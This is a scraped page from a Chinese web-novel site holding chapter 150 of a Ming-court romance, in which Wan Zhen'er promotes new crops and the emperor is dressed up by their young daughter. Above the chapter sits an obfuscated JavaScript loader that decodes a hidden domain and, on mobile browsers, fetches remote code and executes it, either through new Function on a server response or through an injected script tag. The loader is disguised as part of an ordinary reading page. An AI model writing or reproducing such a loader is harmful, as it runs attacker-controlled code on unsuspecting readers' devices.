妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第15o章 美男(1 / 1)

加入书签 | 推荐本书 | 问题反馈 |

第150章 美男

“濬郎, 红薯此物产量极高,一亩可收千斤, 生熟皆可食,耐旱耐瘠,沙地坡地都能种,灾荒之年,可代五谷救民。”

“可着重推广种植红薯。”万贞儿提醒道。

朱见深看着面前那三样作物,满眼欣喜,静静听贞儿说话。

伺候在皇帝陛下身后的陈准小声与段英嘀咕:“听着怎么跟天方夜谭似的…”

“若这三样作物在大明推广开, 大明国运将愈发蒸蒸日上, 这是大明之福,苍生之福。”

“是真的, 是真的,我去岁就尝过了。”

段英激动的热泪盈眶, 皇后菩萨心肠, 心里总在惦念着苍生,对奴婢们也和善。

这些年, 段英早就被皇后折服, 忠心耿耿只当皇后娘娘座下的爪牙鹰犬。

此时万贞儿将如何食用三种作物的方法一一告诉皇帝。

“濬郎, 玉米磨面可做饼, 土豆可蒸可煮可炒,可磨粉做成土豆面, 红薯烤来吃,甜如蜜糖, 生吃都成,还能磨粉。而且这三种作物都不挑地,山坡沙地旱地, 别的庄稼不长的不毛之地,它们能长。”

万贞儿站起来,大步走到案前,铺开一张纸,提起笔,蘸满墨。

把玉米、土豆、红薯的种植方法,一样样写在纸上,从浸种播种,施肥,到采收储藏,事无巨细。

写好之后,万贞儿走到皇帝身边,坐在他身侧。

“贞儿,天不亡我大明,天不亡我,谢谢你,贞儿,我替天下万民谢谢你。”

朱见深哽咽抱紧贞儿。

“贞儿,对不起,我这个皇帝当得窝囊,还要你替我操心这些。”

“你怎么知道是我?”万贞儿诧异,她都把汪直推出来当挡箭牌了,为何皇帝语气笃定是她?

“是你,我知道是你,汪直是个开疆拓土震慑朝臣的功臣,可手段却狠辣,以杀止杀,他并不会用如此温柔的方式对待苍生,关心万民饥寒。”

“只有你,才会不遗余力,急我所急,忧我所忧。”

“我们是夫妻,夫妻同心,”万贞儿,抬袖擦拭皇帝额发间的薄汗。

“贞儿,等这些东西种遍大明,我要让全天下人都知道,是你为他们谋的福祉。”

“濬郎,我已是皇后了,要这些功劳做甚?我只想让你多陪陪我,你太忙了。”

万贞儿鼻子发酸:“都成化十五年了,为何时光如此匆匆。”

她与皇帝,这辈子只能再相守八年,他们只有八年了,还不到八年,她注定会死在成化二十三年正月。

朱见深愧疚抱紧贞儿:“好,再过几年,让太子登基。”

又是再过几年,万贞儿心里失落,却无可奈何。

堡宗留下的烂摊子,皇帝收拾了许多年,如今才拨云见日,河清海晏,可内忧外患仍是不断。

皇帝不放心让太子接班,宵衣旰食从无一日怠政,他已经心力交瘁,她不忍心再缠着他。

万贞儿岔开话题:“濬郎,这些东西要是真的能种遍大明,是不是就不会有人饿死了?”

“不敢说一个都不会有,但饿殍会少很多。”朱见深满眼激动。

此时皇帝满眼笑意,把堆积如山的番薯一个个捡进筐里,万贞儿要帮忙,被皇帝轻轻拨开手:“别动,别弄脏了衣裳。”

皇帝将一筐番薯背在身后,站起身,伸手拉住她的手腕。

第二日上朝,皇帝陛下在奉天殿宴请群臣,文武百官坐在案前,桌上放着几样闻所未闻的奇怪食物。

徐容五味杂陈,看着面前的玉米饼,烤红薯与土豆面汤。

朝臣们面面相觑,吃完以后,全都满眼喜色,乍然听到如此宝物竟是皇后掏空中宫私库,千辛万苦寻来的,所有人都沉默了。

负责财政和粮政的户部尚书更是激动落泪,直呼天佑大明,天佑吾皇。

皇帝趁热打铁,立即令受灾的山东、河南、湖广再免赋一年,诏令大明各府州县广求荒地,推广种植玉米土豆,番薯。

朝堂上没有人反对,他们都吃到那份美味可口的御赐午膳,找不到任何理由反驳,连素来总与皇帝针锋相对的御史们,都满眼喜色。

一夕之间,三样作物如火如荼在大明国境内蔓延。

成化十六年二月十二。

朱见深今日休沐,难得清闲,他靠在乾清宫的软榻上,手里捏着一卷贞儿喜欢看的杂书,一字一句详阅。

只要得闲,他总会见缝插针寻机,为贞儿批注她喜欢看的杂书,话本子。

仔细在晦涩难懂的语句旁细心批注贞儿能看懂的话语,若是遇到蛇字,就涂黑,免得她看到害怕。

此时两只小手赫然出现,小公主不知道什么时候爬上了榻,仰着脸,眼巴巴望着他。

“父皇,母后怎么还没回来?”万宁公主奶声奶气追问。

“你母后与你皇祖母去行亲蚕礼与祭先蚕,今日晚些

时候归来。”

大明帝后各司其职,亲蚕礼是大明皇后最重要的礼仪活动,每年二月择吉日,皇后率内外命妇在北郊祭祀先蚕,象征着皇后母仪天下,劝课农桑的职责。

朱见深语气怅然,亲蚕礼行礼之前,皇后必须斋戒三天,率领内外命妇到采桑坛采桑。

采桑完毕,又要至蚕室将桑叶授予蚕母,礼毕,又需赐宴于殿内外。

待到四月蚕事告成,还需行治茧礼,选蚕妇缫丝织绸,所织成的绸缎用于制作祭服,待蚕事告成,贞儿又必须开始准备谒庙礼,在重大节庆前先谒庙再受贺。

他无比羡慕寻常百姓夫妇,无需理会这些繁文缛节。

他已四日没见贞儿。

心烦意乱捏捏小公主头上用红绸带扎的可爱小揪揪,父女二人都很想贞儿。

“父皇。”

“嗯。”朱见深放下书,伸手摸摸她的头顶。

“父皇,陪蓉蓉玩嘛。”

“玩什么?”

小公主想了想,偏着脑袋,小小手指点着自己的下巴,做出一副思索状,她这个模样像极了贞儿,贞儿想事情的时候,也是这个姿势。

“办家家。”

朱见深还没来得及答应,小公主已经从榻上滑下去,迈着两条小短腿跑到殿角。

那里搁着她的小百宝箱,一个紫檀木的匣子,是朱见深特意让工匠给她做的,里面装着她的宝贝,小家伙拖着百宝箱来到他面前。

“父皇坐好!”小公主指挥道,小手往榻上一指。

朱见深老老实实坐正了。

小公主爬上榻,打开百宝箱的盖子,开始往外掏东西。

小公主把铜镜举起来,对着他的脸照了照,满意点点头:“嗯,父皇该打扮了。”

朱见深哭笑不得:“打扮什么?”

他刚想说他是男子,不需要打扮,蓉蓉已经把贞儿的脂粉盒子打开了。

半盒嫣红的花膏,是贞儿在夏日黄昏捣花汁辛苦调制的,颜色鲜亮。

小公主用食指蘸一大坨,另一只手扳着朱见深的下巴:“父皇,闭上眼睛,不许动!”

“你母后回来,若是看你偷玩她的胭脂水粉,定会揍你。”朱见深闭上眼睛,软软的小手指在他脸上划来划去。

凉丝丝的,带着一股贞儿身上才有的香气。

想贞儿了。

朱见深闷闷不乐睁眼看粉雕玉砌的蓉蓉。

她涂得很认真,一边抹一边自言自语:“父皇脸白白的,要红红才好看。”

朱见深看向铜镜,眼前一黑。

她抹得很不均匀,左边红一大片,右边只蹭一点,此刻左眼圈红,右脸颊红,他的脸活像刚被蜜蜂蛰过。

小公主却很满意,拍着小手笑:“父皇好漂亮!父皇是天下第一漂亮的美男子!”

“还没涂完呢!还能更美。”小公主又从匣子里掏出一堆花里胡哨的东西。

小公主将他按在妆台前的绣墩上,叽叽喳喳:“父皇坐下,蓉蓉给您画眉毛!蓉蓉会画,蓉蓉画得可好看了!”

她踮起脚尖,够不到他的脸,爬上绣墩,还是够不到,急了,索性踩在朱见深膝上,两只小手扒着他的肩膀,另一只手去够妆台上的螺子黛。

朱见深扶着她的小腰,怕她摔下来。

“好了!蓉蓉画得比原来好看!”小公主满意拍拍手。

这还不够,小公主欢喜的将一支支浮夸的簪子簪满他头顶,差点没把他的头冠拽下来,又兴冲冲翻出一条贞儿的薄纱帕子,抖了抖帕子,要系在他额头上。

她够不着,嘴里嘟囔着:“父皇低一下头嘛,够不着。”

朱见深低下头,帕子才被覆在额头上,后脑勺被两只小手乱摸了一阵,又扯又拽,最后松松垮垮系了个结,帕子的一端垂下来,刚好挡住他的左眼。

“好了!”小公主拍手跺脚,高兴得不行,又蹦又跳,差点把百宝箱踢翻。

朱见深透过帕子的一条缝,再看铜镜里的自己。

额头上系着大红帕子,头上插着一堆琉璃簪,两只眼皮涂成红色,两颊抹着不匀的胭脂,整张脸五颜六色。

此时蓉蓉又翻出绢花,一手一朵绢花,往他耳后左边插一朵,右边插一朵,歪歪扭扭的,衬着他那张涂满胭脂的脸,说不出的滑稽。

金冠、银簪、绢花、红丝绦、金钗,层层叠叠挤在一起,看上去像头上插了个首饰匣子。

朱见深透过铜镜看着自己,险些背过气,胭脂红脸,大红嘴唇,左右两朵粉绢花,头顶歪系红丝绦蝴蝶结,金冠上插着银簪,银簪旁戳着金钗,脖子上挂着珠串,肩上还披着一块碎花布。

镜中人,满头珠翠,满脸脂粉,十指丹蔻,花团锦簇,珠光宝气。

眉毛粗得像张飞,脸颊红得像猴屁股。

朱见深闭上眼睛,认命了。

他这辈子,穿龙袍,戴金冠,坐龙椅,批奏折,万万没想到,有

一天会被女儿打扮成这副尊容。

小公主却非常满意,拍着他的肩膀,郑重宣布:“父皇是天下第一美人!”

“天下第一美人?”朱见深哭笑不得。

他深吸一口气,此时小公主欢喜捧着他的脸,吧唧亲一口,亲了一嘴胭脂,满嘴直夸他:“哈哈,我的父皇是天底下最好看的父皇!”

好吧那股子想逃又不敢逃的憋屈劲儿,全被她这一口亲回去了。

小公主祸害完父皇,又开始祸害自己了。

她取来胭脂,自己也往眼皮上抹了好多,然后对着铜镜照了照,臭美地左看右看。

又从匣子里翻出两朵绢花递给朱见深:“父皇,帮蓉蓉戴上。”

朱见深接过来,笨拙把绢花插在她的小揪揪上,一边一朵,歪歪扭扭的,倒是很对称。

小公主又从匣子里翻出好多宝石镯子,戴满了手,她小手一晃,把两只手举给朱见深看:“父皇,亮不亮?”

“咿,不够美丽。”

她又在匣子里翻了好久,找出一串串珠子,将珠子挂在脖子上,珠子拖到肚子上,垂下来老长一截。

最后,她站在朱见深面前,张开双臂,转了一圈,追问他美不美。

朱见深忍俊不禁,鹅黄褙子,蝴蝶结小揪揪,歪歪扭扭的粉色绢花,脖子上垂着一堆珠串,金灿灿的,活像一个散财童子。

“父皇,漂不漂亮?”

“漂亮,你是父皇这辈子见过最漂亮的公主。”

小公主笑嘻嘻扑进他怀里,两只小手搂着他的脖子,把脸埋在龙袍的领口里,蹭来蹭去,蹭他一身脂粉。

“父皇也美,蓉蓉好喜欢父皇。”

朱见深刚坐下,蓉蓉就爬到他膝上坐下,靠在他胸口扭过身子,在他耳边小声说:“父皇,蓉蓉好开心。”

“父皇也好开心。”朱见深轻轻把她鬓边歪掉的绢花扶正,紧紧抱住,下巴抵在她可爱的小揪揪上深深吸一口气。

奶香,花膏香,绢绸的淡淡气味,还有女儿身上暖烘烘的阳光味道,心情勉强舒畅了些。

“父皇,蓉蓉想骑马,您当蓉蓉的马!”

“趴下。”

“趴下?”

“当马呀,马都是趴着的。”

朱见深看了一眼殿门,确认没有奴婢敢在这个时候探头进来,深吸一口气,弯腰,双手撑地,跪在金砖上。

大明皇帝,九五之尊,此刻四肢着地,像真正的马。

小公主喜滋滋爬上父皇的背,两只小手抓着他的龙袍,她的小手在父皇肩上拍了拍:“驾!父皇快跑!”

朱见深开始爬,慢慢从乾清宫殿内的金砖上爬过。

小公主不满意:“父皇,您跑快点嘛!”

“吁!”小公主忽然喊停,从他背上滑下来,跑到百宝箱前,翻出一根红丝绦。

她踮起脚,把丝绦系在他的金冠上,在头顶打了个蝴蝶结。

蝴蝶结歪歪扭扭的,红色的丝绦垂下来,搭在他耳朵边。

“马要有缰绳的。”她满意拍拍手。

小公主重新爬上他的背,小手拽着丝绦的两端,轻轻一拉:“驾!”

朱见深认命往前爬。

“父皇,您快转弯,蓉蓉要去御花园摘花!”

朱见深转弯,膝盖在地上转了个方向。

“父皇,您快跳一下!马都是会跳的!”

朱见深犹豫一下,往前蹦了一下,小公主在他背上颠起来,咯咯笑,笑声清脆回荡在殿内。

她笑得太厉害了,差点从他背上滑下去,两只小手紧紧攥着龙袍的领口,勒得他差点喘不过气。

殿门外的陈准探头看了一眼,慌忙缩回去了。

殿外暮色四合,殿内烛火初燃,带孩子着实累人,比在朝堂上处理国家大事,与那些朝臣斗智斗勇还累。

朱见深抱着女儿打盹,昏昏欲睡,没一会就累得沉沉入睡。

万贞儿稍晚时归来,踏入内殿,被皇帝珠光宝气涂脂抹粉的模样,惊得捂嘴,笑得直不起腰。

皇帝此刻红眼皮,胭脂红脸,大红嘴唇,左右两朵粉绢花,头顶歪系红丝绦蝴蝶结,脖子上挂着珠串,手腕上套着一堆镯子,十根指甲全涂成粉色,肩上还披着碎花布。

皇帝歪在榻上,顶着满头珠翠,睡得很沉,女儿枕着他的胳膊,也睡得很沉,装扮与皇帝一样浮夸搞笑。

朱见深听见笑声,抬起头,狼狈得不像话。

万贞儿扶着门框,笑弯了腰。

“母后,来骑马,来骑父皇,父皇跑得可快啦。”

朱见深膝盖已经麻了,他揉了揉膝盖,一把抱起女儿,举过头顶转了一圈,小公主笑得更灿烂了,笑声在乾清宫里回荡。

“明天再骑,今天马累了。”朱见深把蓉蓉放下来。

“马累了要吃什么?”

朱见深不语,目光灼灼看着贞儿。

万贞

儿被皇帝炙热的目光看得羞涩低头:“马要吃草。”

“那蓉蓉去御花园给父皇拔草!”朱祐媞说着就要往外跑。

万贞儿拉住她,忍俊不禁:“傻孩子,你父皇不吃草。”

朱见深摸了摸小蓉蓉的头,把她鬓边歪掉的绢花扶正。

“带公主去歇息。”

他疾步走到贞儿身边,搂紧她腰肢,迫不及待催着奴婢将公主带走。

奴婢们垂首踏入寝殿内,小公主走的时候,还不忘回头叮嘱他:“父皇,明天还要当蓉蓉的马哦!不许耍赖!”

“好。”

待寝殿朱门关上。

万贞儿忍笑,拿起妆台上的帕子蘸了温水,轻轻托起皇帝的下巴:“别动。”

她先从眉毛擦起,帕子按在他粗黑的眉,轻轻一擦,黛色洇开。

她擦得很慢,怕水珠滴进他眼睛,两个人的脸离得很近,近到彼此的呼吸都交织在一起难舍难分。

“贞儿。”朱见深忍不住握住她的手腕,在她腕间肌肤上缱绻摩挲,摸到脉搏在跳。

万贞儿抬起头看他,皇帝的眼睛里,有她含笑的眉眼。

皇帝低头吻她,在耳垂上停了一瞬,轻轻含住厮磨,万贞儿攥紧他的衣襟,被他撩拨得膝盖发软,整个人扑进他怀里。

皇帝轻车熟路,伸手解开她腰间绦带,手指落在她肩头,顺着肚兜细带边缘慢慢描画,他的指尖在她心口处停住。

“贞儿,抱紧我,抱我。”

朱见深将她从绣墩上拉起来,揽入怀中,她坐到了他腿上,两个人面对面坐着,她环住他的腰,被皇帝抱着往龙榻走去。

他的吻不断落在她脖颈每一寸皮肤上,她的身体慢慢软下来,往后仰去,发髻散开。

朱见深俯身把贞儿拢在怀里,拢得很紧,他的手沿着她的身体一路向下…

“父皇!”

两个人同时僵住了。

“父皇,蓉蓉的蝴蝶簪子不见了。”小公主蹦蹦跳跳跑进来。

万贞儿羞的一把推开皇帝,拢好衣衫。

朱见深背过身,在龙榻上做起俯卧撑。

朱见深还没反应过来,小公主已经跑进来了,她看看父皇,又看看母后,歪着脑袋:“母后,您为什么脸红?”

“父皇,您为什么也脸红?”

二人咳嗽一声,不约而同搪塞:“天热。”

“热吗?”小公主疑惑看向门外小雪花。

“父皇,您怎么在锻炼?母后,您的衣衫乱了,羞羞脸。”

“你父皇在锻炼龙体,母后盯着他,不准他偷懒。”

“是这样吗?可是方才为何母后骑在父皇身上,母后也喜欢骑马啊?”

万贞儿捂脸:“喜欢,很喜欢。”

说罢,万贞儿欲盖弥彰,坐在皇帝坚实后背。

朱见深无奈提气,驮着贞儿,继续游刃有余撑手锻炼。

“父皇,蓉蓉的蝴蝶簪子不见了,帮蓉蓉找找好不好?”

“好,等一会,父皇有些累。”朱见深趴在龙榻,等身上消下去些,否则太狼狈了。

万贞儿趁着小磨人精闹腾之时沐浴更衣,懒懒躺在龙榻上,身上只裹着宽袍合欢寝衣。

小公主正是最缠人的时候,此时等饿了,从榻的另一头爬过来,小手抓住万贞儿的衣襟,焦急扯开。

“母后,蓉蓉要吃,肚子饿饿了。”小公主奶声奶气喊。

万贞儿伸手去解衣带,寝袍本就松松垮垮,绦带一松,衣裳便从肩头滑落,露出一片莹白肌肤。

小公主急不可耐凑上去,小手扒拉着,嘴里含混不清喊饿。

朱见深合眼,尽量不去看贞儿,不敢看,看了会出事。

可目光却舍不得挪开,忽然觉得渴,烧得人心慌意乱的渴。

小公主小嘴一鼓一鼓的吃,小手还不安分,乱抓她的口粮,眼睛半睁半闭。

万贞儿低头看着女儿,手指轻轻揉着她的头发。

方才的冷静全都白费了,朱见深重新躺下去,取来软枕盖在脸上。

小公主终于吃饱了,心满意足从万贞儿怀里滚下来,滚到两个人中间,四仰八叉躺着,小手小脚张开,肚皮圆滚滚的,嘴边还挂着一道奶渍。

万贞儿用帕子替女儿擦掉嘴边的奶渍,又轻轻拍拍她圆滚滚的肚皮:“吃饱了?”

“饱啦。”小公主打了个哈欠,眼皮开始打架。

万贞儿把她轻轻抱起来,放在榻里侧,转过身,正好对上皇帝灼人的目光。

万贞儿被他看得羞死了,他的眼神已经直白表达出他想对她做的事。

万贞儿伸手去拢滑落的寝衣,指尖刚触到衣衫,皇帝的手就覆上她的手背。

“贞儿想你了。”

万贞儿抬眸看他:“我在,我就在你面前。”

“在面前也想。”

皇帝的手顺着她的手背,握住他的手指,

十指交缠,寝衣从肩头滑落,滑得更低了。

“父皇,快找蝴蝶簪子。”小公主不知何时坐起身来。

朱见深坐起身,无奈抱起女儿,一只手牵着她的小手,另一只手悄悄伸到身后,握紧贞儿的手。

小公主找着找着,竟趴在皇帝肩上睡着。

小磨人精终于安静了,被荀葇抱到偏殿歇息,这一回,确认寝殿门窗都锁好,皇帝才转身回到龙榻。

边走边宽衣解带,坐在龙榻上,已衣衫尽褪,他忍着四五日素着,今晚哪肯善罢甘休。

作者有话说:

上一章
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间